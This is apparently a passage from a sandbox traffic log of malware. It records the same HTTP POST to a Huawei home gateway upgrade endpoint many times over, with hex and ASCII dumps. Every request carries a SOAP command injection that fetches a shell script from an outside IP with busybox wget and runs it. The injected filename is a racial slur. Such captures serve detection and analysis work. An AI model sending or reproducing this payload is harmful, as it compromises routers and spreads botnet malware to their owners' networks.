Feb 19, 2024 18:37:47.987549067 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.832873106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.824829102 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.808804035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.872642994 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.15	38830	45.127.160.138	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:47.987926006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.832890987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.824812889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.808909893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
